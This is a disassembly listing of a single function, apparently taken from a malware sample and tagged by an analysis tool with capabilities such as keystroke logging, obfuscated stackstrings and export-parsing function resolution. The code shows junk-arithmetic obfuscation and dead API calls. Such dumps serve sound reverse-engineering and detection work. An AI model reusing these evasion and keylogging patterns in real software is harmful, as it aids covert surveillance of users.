Function at 0x1001585f
Capabilities:
Allocate thread local storage
Contain obfuscated stackstrings
Get disk information
Get disk size
Get file size
Log keystrokes via polling
Parse pe header
Resolve function by parsing pe exports
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006e7b3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x10b4
call fcn.10069b40
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x100158aa
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100158aa
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10010190
pop ecx
pop ecx
jmp 0x1001d508
mov dword [ebp - 0x3a4], 1
mov dword [ebp - 0xce8], 4
mov dword [ebp - 0xa70], 0xffffffff
mov dword [ebp - 0x8d0], 0xfffffff6
push 2
lea ecx, [ebp - 0xdd4]
call fcn.10021765
and dword [ebp - 4], 0
mov dword [ebp - 0x4d4], 0x9275
mov dword [ebp - 0x89c], 0xa18461e7
mov dword [ebp - 0x9b8], 0xffffffff
mov dword [ebp - 0x388], 0
jmp 0x1001591a
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 2
jge 0x1001593c
push dword [ebp - 0x388]
lea ecx, [ebp - 0xdd4]
call fcn.1002185c
mov dword [eax], 0xbc40ed3c
jmp 0x1001590d
mov dword [ebp - 0x3a4], 0x10c93b4e
cmp dword [ebp - 0x3a4], 0
je 0x100159d6
mov dword [ebp - 0xc8c], 0x59c1
mov dword [ebp - 0xc94], 0xffffffff
mov dword [ebp - 0xc9c], 3
mov dword [ebp - 0xca4], 0xffffffff
mov dword [ebp - 0xc54], 0xfffffff8
mov dword [ebp - 0xc58], 0x3371247a
mov dword [ebp - 0xc60], 0xc87a7525
mov dword [ebp - 0xcdc], 1
mov dword [ebp - 0xce4], 0
mov dword [ebp - 0xcec], 0x82e77e81
mov eax, dword [ebp - 0x4d4]
dec eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x89c]
dec eax
mov dword [ebp - 0x89c], eax
jmp 0x10015b2b
mov dword [ebp - 0x5c], 0xc2a4
mov dword [ebp - 0x8d8], 0xffffffff
mov dword [ebp - 0x9c0], 6
xor eax, eax
jne 0x10015b15
cmp dword [ebp - 0x5c], 4
jb 0x10015a0b
mov dword [ebp - 0x8a4], 1
jmp 0x10015a12
and dword [ebp - 0x8a4], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x8a4], eax
jle 0x10015a29
mov dword [ebp - 0x8e0], 1
jmp 0x10015a30
and dword [ebp - 0x8e0], 0
cmp dword [ebp - 0x5c], 0
jle 0x10015a42
mov dword [ebp - 0x8ac], 1
jmp 0x10015a49
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0xa70]
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x3a4]
mov ecx, dword [ebp - 0x5c]
lea eax, [eax + ecx + 0x402ad92]
test eax, eax
jne 0x10015a75
cmp dword [ebp - 0x5c], 0
jne 0x10015a75
and dword [ebp - 0x8b4], 0
jmp 0x10015a7f
mov dword [ebp - 0x8b4], 1
mov eax, dword [ebp - 0x8d0]
cmp dword [ebp - 0x8b4], eax
jle 0x10015a99
mov dword [ebp - 0x8c8], 1
jmp 0x10015aa0
and dword [ebp - 0x8c8], 0
cmp dword [ebp - 0x8c8], 0xfffffff7
jl 0x10015ab5
mov dword [ebp - 0x9b0], 1
jmp 0x10015abc
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0xcf4], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x8d8], eax
mov eax, dword [ebp - 0x8d8]
sub eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x8e0]
test eax, eax
jne 0x10015af7
cmp dword [ebp - 0x9b8], 0
jne 0x10015af7
and dword [ebp - 0x8e8], 0
jmp 0x10015b01
mov dword [ebp - 0x8e8], 1
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x8e8], eax
jg 0x10015b15
and dword [ebp - 0x8f0], 0
jmp 0x10015b1f
mov dword [ebp - 0x8f0], 1
mov eax, dword [ebp - 0x8f0]
mov dword [ebp - 0x9c0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdd4]
call fcn.100217e7
cmp dword [ebp + 0x10], 0
jne 0x1001b021
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000a818
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0xb10], 0x9ff60657
mov dword [ebp - 0xb0c], 0x9ff60657
mov dword [ebp - 0xb08], 0x9ff60657
mov dword [ebp - 0xb04], 0x9ff60657
mov dword [ebp - 0x194], 0xe6bacd79
mov dword [ebp - 0xa30], 3
mov dword [ebp - 0x480], 0xffffffff
mov dword [ebp - 0x9c8], 1
mov dword [ebp - 0xcfc], 0x4f1f13b0
push 3
lea ecx, [ebp - 0xdf4]
call fcn.10021765
mov dword [ebp - 4], 1
mov dword [ebp - 0x408], 0xffff
mov dword [ebp - 0x4c], 0
jmp 0x10015bdd
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x10015bf9
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xdf4]
call fcn.1002185c
mov dword [eax], 0x3a4d
jmp 0x10015bd6
mov dword [ebp - 0x4c], 0
jmp 0x10015c09
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x10015c1f
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xde4], 0xffffffff
jmp 0x10015c02
mov dword [ebp - 0x194], 3
jmp 0x10015c38
mov eax, dword [ebp - 0x194]
dec eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
jl 0x10015de3
mov dword [ebp - 0xa38], 0
mov dword [ebp - 0x938], 4
mov dword [ebp - 0x6e0], 0x6887e08
mov dword [ebp - 0xd04], 8
mov byte [ebp - 0x10b], 0
movzx eax, byte [ebp - 0x10b]
test eax, eax
je 0x10015c87
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [ebp - 0x408]
dec eax
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp + eax*4 - 0xb10]
mov dword [ebp - 0xd0c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb10]
mov dword [ebp - 0xd14], eax
mov eax, dword [ebp - 0x9c8]
mov dword [ebp - 0xd1c], eax
mov eax, dword [ebp - 0x480]
mov dword [ebp - 0xd24], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xde4]
mov dword [ebp - 0x8f8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8f8]
mov dword [ebp + eax - 0xde4], ecx
cmp dword [ebp - 0x8f8], 4
jle 0x10015d0d
mov dword [ebp - 0x900], 1
jmp 0x10015d14
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x900]
sub eax, dword [ebp - 0x408]
sub eax, 0x765e4b
cmp dword [ebp - 0x6e0], eax
jle 0x10015d39
mov dword [ebp - 0x908], 1
jmp 0x10015d40
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp + eax*4 - 0xb10]
cmp dword [ebp - 0x908], eax
jl 0x10015d61
mov dword [ebp - 0x910], 1
jmp 0x10015d68
and dword [ebp - 0x910], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb10]
cmp dword [ebp - 0x910], eax
je 0x10015d89
mov dword [ebp - 0x9d0], 1
jmp 0x10015d90
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0xa30]
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0x938], 0x7963f6d1
cmp dword [ebp - 0x938], 0
jne 0x10015dc1
cmp dword [ebp - 0xa38], 0
jne 0x10015dc1
and dword [ebp - 0x894], 0
jmp 0x10015dcb
mov dword [ebp - 0x894], 1
mov eax, dword [ebp - 0x6e0]
imul eax, dword [ebp - 0x894]
mov dword [ebp - 0x480], eax
jmp 0x10015c2b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdf4]
call fcn.100217e7
mov dword [ebp - 0x3c], 0x204e2db5
mov dword [ebp - 0xa40], 0
mov dword [ebp - 0x2c], 0xde9bf9f
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x4a8], 0x6b719d87
mov dword [ebp - 0x4b0], 0xe7b1
mov dword [ebp - 0x6f0], 0x317d239f
mov dword [ebp - 0x390], 0
jmp 0x10015e4b
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 3
jge 0x10015e67
mov eax, dword [ebp - 0x390]
mov dword [ebp + eax*4 - 0xf80], 6
jmp 0x10015e3e
mov dword [ebp - 0x3c], 4
jmp 0x10015e77
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffffe
jne 0x10015f4b
mov dword [ebp - 0x488], 0xa22e
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0x488], 0xf33e263d
je 0x10015eac
mov dword [ebp - 0x8fc], 1
jmp 0x10015eb3
and dword [ebp - 0x8fc], 0
cmp dword [ebp - 0x8fc], 0x2b90f998
je 0x10015ecb
mov dword [ebp - 0x6e8], 1
jmp 0x10015ed2
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x488]
imul eax, dword [ebp - 0x6e8]
add eax, 0x22a
mov ecx, dword [ebp - 0x2c]
imul ecx, eax
mov eax, dword [ebp - 0x3c]
add eax, ecx
cmp eax, dword [ebp - 0x410]
jg 0x10015f09
mov dword [ebp - 0x490], 1
jmp 0x10015f10
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x410]
cmp dword [ebp - 0x490], eax
je 0x10015f2a
mov dword [ebp - 0x818], 1
jmp 0x10015f31
and dword [ebp - 0x818], 0
mov eax, dword [ebp - 0x818]
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4b0], eax
jmp 0x10015e70
mov dword [ebp - 0x3c], 0xfffffff9
jmp 0x10015f5b
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffed
je 0x10016124
mov dword [ebp - 0x384], 0
jmp 0x10015f7e
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 1
jge 0x10015f9a
mov eax, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0xb8], 0
jmp 0x10015f71
mov dword [ebp - 0x2c], 0
jmp 0x10015faa
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jl 0x1001611f
mov dword [ebp - 0xa58], 0xffffffff
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0xb8]
mov dword [ebp + ecx*4 - 0xb8], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0xb8], 0
jne 0x10016033
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0xb8]
mov dword [ebp - 0xd34], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0xb8], 0
jne 0x10016005
mov eax, 0xd1a0c8
test eax, eax
je 0x1001601a
mov eax, 0x20ba
test eax, eax
je 0x1001601a
mov dword [ebp - 0xa48], 1
jmp 0x10016021
and dword [ebp - 0xa48], 0
cmp dword [ebp - 0x6f0], 0
jne 0x10016033
and dword [ebp - 0x498], 0
jmp 0x1001603d
mov dword [ebp - 0x498], 1
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x498]
sub ecx, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x2c]
add ecx, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x6f0]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0xb8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xb8]
add eax, 0x385e
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xf80]
jl 0x10016098
mov dword [ebp - 0x4a0], 1
jmp 0x1001609f
and dword [ebp - 0x4a0], 0
cmp dword [ebp - 0x4a0], 0xffffffff
jl 0x100160b4
mov dword [ebp - 0x8b0], 1
jmp 0x100160bb
and dword [ebp - 0x8b0], 0
cmp dword [ebp - 0x8b0], 3
jbe 0x100160d0
mov dword [ebp - 0x6f8], 1
jmp 0x100160d7
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x4a8]
cmp eax, dword [ebp - 0x6f8]
jg 0x100160f1
mov dword [ebp - 0xa50], 1
jmp 0x100160f8
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0xd3c], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0xd44], eax
mov dword [ebp - 0xa58], 0
jmp 0x10015fa3
jmp 0x10015f54
mov dword [ebp - 0x278], 0xae355683
mov dword [ebp - 0xd4c], 0xb905d09e
mov dword [ebp - 0xd54], 4
mov dword [ebp - 0xd5c], 3
mov dword [ebp - 0xd64], 9
mov dword [ebp - 0xd6c], 0xfffffff7
mov dword [ebp - 0xd74], 0
mov dword [ebp - 0x820], 8
mov dword [ebp - 0x2f8], 0
jmp 0x1001618d
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 3
jge 0x100161a9
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0x1030], 0xfffffffb
jmp 0x10016180
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x100161cf
push 0x1290
push 0
push 0
push 0x16b5
call dword [sym.imp.GDI32.dll_PolyPolygon]
mov dword [ebp - 0x278], 0
jmp 0x100161e8
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 7
jne 0x10016307
mov dword [ebp - 0xd7c], 1
mov dword [ebp - 0xd84], 0x48c443eb
mov dword [ebp - 0xd8c], 0x4d513c61
push 4
lea ecx, [ebp - 0xe04]
call fcn.10021765
mov dword [ebp - 4], 2
mov dword [ebp - 0xd94], 1
mov dword [ebp - 0xd9c], 0x3dc0e3e7
mov dword [ebp - 0xda4], 0xe82aa9da
mov dword [ebp - 0xdac], 0
mov dword [ebp - 0xdb4], 0xffffffff
mov dword [ebp - 0xdbc], 0
mov dword [ebp - 0xdc4], 0xffffffff
mov dword [ebp - 0xeb0], 0x3004
mov dword [ebp - 0x68], 0
jmp 0x10016287
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x100162a3
push dword [ebp - 0x68]
lea ecx, [ebp - 0xe04]
call fcn.1002185c
mov dword [eax], 0x3ffaf072
jmp 0x10016280
mov dword [ebp - 0x68], 0
jmp 0x100162b3
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x100162c9
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x1018], 0x4f78d7cb
jmp 0x100162ac
mov byte [ebp - 0x10f], 0
movzx eax, byte [ebp - 0x10f]
test eax, eax
je 0x100162e6
push 0x2075
call dword [sym.imp.GDI32.dll_GetStockObject]
mov eax, dword [ebp - 0x820]
dec eax
mov dword [ebp - 0x820], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe04]
call fcn.100217e7
jmp 0x100161db
cmp dword [0x10617618], 0
jne 0x1001afef
push 2
lea ecx, [ebp - 0xe14]
call fcn.10021765
mov dword [ebp - 4], 3
mov dword [ebp - 0xefc], 1
mov dword [ebp - 0xef8], 1
mov dword [ebp - 0xef4], 1
mov dword [ebp - 0xef0], 1
mov dword [ebp - 0x700], 0x14b5
mov dword [ebp - 0x98], 0
jmp 0x10016373
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x10016395
push dword [ebp - 0x98]
lea ecx, [ebp - 0xe14]
call fcn.1002185c
mov dword [eax], 0xca631852
jmp 0x10016366
mov dword [ebp - 0x98], 0
jmp 0x100163ae
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x100163ca
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x300], 4
jmp 0x100163a1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x300], 0
jmp 0x100163f8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x300]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x300], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x300], 1
jg 0x100164de
push 3
lea ecx, [ebp - 0xab0]
call fcn.10021765
mov byte [ebp - 4], 4
mov dword [ebp - 0x280], 0
jmp 0x10016436
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 3
jge 0x10016458
push dword [ebp - 0x280]
lea ecx, [ebp - 0xab0]
call fcn.1002185c
mov dword [eax], 0x4cdb8faa
jmp 0x10016429
push 1
lea ecx, [ebp - 0xab0]
call fcn.1002185c
mov dword [eax], 1
jmp 0x10016491
push 1
lea ecx, [ebp - 0xab0]
call fcn.1002185c
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x4b8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x4b8]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xab0]
call fcn.1002185c
cmp dword [eax], 0
jl 0x100164bd
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x100164bb
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
jmp 0x1001646d
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xab0]
call fcn.100217e7
jmp 0x100163dd
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x100164fd
push 0
push 0x1335
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe14]
call fcn.100217e7
mov dword [ebp - 0xa60], 0x1745
lea eax, [ebp - 0xa60]
push eax
call fcn.10010168
pop ecx
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x288], 0xffffffff
push 1
lea ecx, [ebp - 0xe24]
call fcn.10021765
mov dword [ebp - 4], 5
mov dword [ebp - 0x308], 0
jmp 0x10016560
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jge 0x10016582
push dword [ebp - 0x308]
lea ecx, [ebp - 0xe24]
call fcn.1002185c
mov dword [eax], 0x7937d8e6
jmp 0x10016553
mov dword [ebp - 0x288], 0
jmp 0x1001659b
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0xb
jl 0x100165bd
mov dword [ebp - 0x4c0], 0x59b8bc5
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
jmp 0x1001658e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe24]
call fcn.100217e7
mov byte [ebp - 0x22c], 1
mov byte [ebp - 0x22b], 0x94
mov byte [ebp - 0x22a], 3
mov byte [ebp - 0x229], 0x33
mov byte [ebp - 0x228], 2
mov byte [ebp - 0x227], 0x17
mov byte [ebp - 0x226], 0x3d
mov byte [ebp - 0x225], 0xa
mov byte [ebp - 0x224], 0x13
mov byte [ebp - 0x223], 0xb
mov byte [ebp - 0x222], 0x3d
mov byte [ebp - 0x221], 0
mov byte [ebp - 0x220], 0x3f
mov byte [ebp - 0x21f], 6
mov byte [ebp - 0x21e], 0x34
mov byte [ebp - 0x21d], 9
mov byte [ebp - 0x21c], 0x1d
mov byte [ebp - 0x21b], 2
mov byte [ebp - 0x21a], 0x1a
mov byte [ebp - 0x219], 4
mov byte [ebp - 0x218], 0x11
mov byte [ebp - 0x217], 8
mov byte [ebp - 0x216], 0xa
mov byte [ebp - 0x215], 7
mov byte [ebp - 0x214], 6
mov byte [ebp - 0x213], 0xc
mov byte [ebp - 0x212], 0x3e
mov byte [ebp - 0x211], 5
mov byte [ebp - 0x210], 0x25
push 3
lea ecx, [ebp - 0x444]
call fcn.10021765
mov dword [ebp - 4], 6
mov dword [ebp - 0x40c], 0x5d177cce
mov dword [ebp - 0x710], 5
mov dword [ebp - 0x4e0], 0xd4a79744
mov dword [ebp - 0x8b8], 0xbe3d0e72
mov dword [ebp - 0x4f0], 1
mov dword [ebp - 0x310], 0
jmp 0x100166f6
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 3
jge 0x10016718
push dword [ebp - 0x310]
lea ecx, [ebp - 0x444]
call fcn.1002185c
mov dword [eax], 0xe6f885ea
jmp 0x100166e9
push 0
lea ecx, [ebp - 0x444]
call fcn.1002185c
cmp dword [eax], 2
jle 0x10016736
mov dword [ebp - 0x93c], 1
jmp 0x1001673d
and dword [ebp - 0x93c], 0
push 0
lea ecx, [ebp - 0x444]
call fcn.1002185c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x93c]
jle 0x10016760
mov dword [ebp - 0xa68], 1
jmp 0x10016767
and dword [ebp - 0xa68], 0
push 0
lea ecx, [ebp - 0x444]
call fcn.1002185c
mov eax, 0xd0da0bdb
cmp eax, 0xffffffff
jbe 0x1001678a
mov dword [ebp - 0x4c8], 1
jmp 0x10016791
and dword [ebp - 0x4c8], 0
cmp dword [ebp - 0x4c8], 0x7b30498
jg 0x100167a9
mov dword [ebp - 0x708], 1
jmp 0x100167b0
and dword [ebp - 0x708], 0
push 0
lea ecx, [ebp - 0x444]
call fcn.1002185c
mov ecx, dword [ebp - 0x708]
cmp ecx, dword [eax]
jle 0x100167d3
mov dword [ebp - 0x4d0], 1
jmp 0x100167da
and dword [ebp - 0x4d0], 0
push 1
lea ecx, [ebp - 0x444]
call fcn.1002185c
mov ecx, dword [ebp - 0x4d0]
cmp ecx, dword [eax]
jle 0x100167fd
mov dword [ebp - 0x828], 1
jmp 0x10016804
and dword [ebp - 0x828], 0
push 0
lea ecx, [ebp - 0x444]
call fcn.1002185c
mov eax, dword [eax]
mov ecx, dword [ebp - 0x828]
lea eax, [ecx + eax + 0xfffc]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 1
jl 0x10016844
mov eax, 0xbebf
test eax, eax
je 0x10016844
mov dword [ebp - 0x4d8], 1
jmp 0x1001684b
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x710], eax
mov eax, dword [ebp - 0x710]
mov dword [ebp - 0x4e0], eax
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x8b8], eax
mov esi, dword [ebp - 0x8b8]
push 0
lea ecx, [ebp - 0x444]
call fcn.1002185c
cmp esi, dword [eax]
jle 0x10016892
mov dword [ebp - 0x4e8], 1
jmp 0x10016899
and dword [ebp - 0x4e8], 0
imul eax, dword [ebp - 0x4e8], 9
cmp eax, 0x13532fe2
jne 0x100168b3
mov dword [ebp - 0x718], 1
jmp 0x100168ba
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0
je 0x10016911
mov dword [ebp - 0x980], 0xa0783518
mov esi, dword [ebp - 0x980]
push 0
lea ecx, [ebp - 0x444]
call fcn.1002185c
cmp esi, dword [eax]
jne 0x100168fc
mov dword [ebp - 0x830], 1
jmp 0x10016903
and dword [ebp - 0x830], 0
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x40c], eax
jmp 0x10016938
mov byte [ebp - 0xf4], 0
movzx eax, byte [ebp - 0xf4]
test eax, eax
je 0x10016938
push 0x4c5
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x444]
call fcn.100217e7
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x22c]
or eax, 0xf1
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x22c]
and ecx, 0xf1
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x22c]
mov byte [ebp + ecx - 0x97c], al
mov dword [ebp - 0x290], 0xc03342eb
mov byte [ebp - 0x112], 0
movzx eax, byte [ebp - 0x112]
test eax, eax
je 0x100169bb
push 0x139f
push 0x2670
push 0xbc3
push 0x1f6f
call dword [sym.imp.GDI32.dll_CreateRectRgn]
mov dword [ebp - 0x290], 0xfffffff6
jmp 0x100169d4
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0xffffffe7
jge 0x10016a23
mov byte [ebp - 0xfa], 0
movzx eax, byte [ebp - 0xfa]
test eax, eax
je 0x10016a03
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x10016a21
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x100169c7
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1d8], 0
jmp 0x10016a3b
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1d
jae 0x100175a8
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x508], 1
mov dword [ebp - 0x318], 0
jmp 0x10016a6f
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 2
jge 0x10016a8b
mov eax, dword [ebp - 0x318]
mov dword [ebp + eax*4 - 0x458], 0x24a8c6a5
jmp 0x10016a62
mov dword [ebp - 0x1c], 0
jmp 0x10016a9b
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10016ab1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x458], 0
jmp 0x10016a94
mov dword [ebp - 0x1c], 1
jmp 0x10016ac1
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x10016c55
mov dword [ebp - 0xa78], 8
mov dword [ebp - 0x500], 2
mov dword [ebp - 0xa88], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x458], 0
je 0x10016b74
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x458]
mov dword [ebp - 0xeb8], eax
mov eax, 0x2573
imul eax, eax, 0xf393
test eax, eax
jne 0x10016b24
cmp dword [ebp - 0x1c], 0
jne 0x10016b24
and dword [ebp - 0x4f8], 0
jmp 0x10016b2e
mov dword [ebp - 0x4f8], 1
mov eax, dword [ebp - 0xa78]
cmp dword [ebp - 0x4f8], eax
jl 0x10016b48
mov dword [ebp - 0xa80], 1
jmp 0x10016b4f
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x458]
mov dword [ebp - 0xec0], eax
mov eax, 0x67b4
test eax, eax
je 0x10016b74
mov dword [ebp - 0x720], 1
jmp 0x10016b7b
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0
je 0x10016ba1
or eax, 0xffffffff
je 0x10016ba1
mov dword [ebp - 0x904], 1
jmp 0x10016ba8
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x904]
mov dword [ebp - 0x508], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x508], eax
jne 0x10016bcb
mov dword [ebp - 0x728], 1
jmp 0x10016bd2
and dword [ebp - 0x728], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x728], eax
je 0x10016be9
mov dword [ebp - 0x510], 1
jmp 0x10016bf0
and dword [ebp - 0x510], 0
cmp dword [ebp - 0x510], 0xcea2ff3e
jne 0x10016c08
mov dword [ebp - 0x838], 1
jmp 0x10016c0f
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x458]
add eax, dword [ebp - 0x838]
jne 0x10016c3a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x458], 0
jne 0x10016c3a
and dword [ebp - 0x518], 0
jmp 0x10016c44
mov dword [ebp - 0x518], 1
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0xa88], eax
jmp 0x10016aba
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x22c]
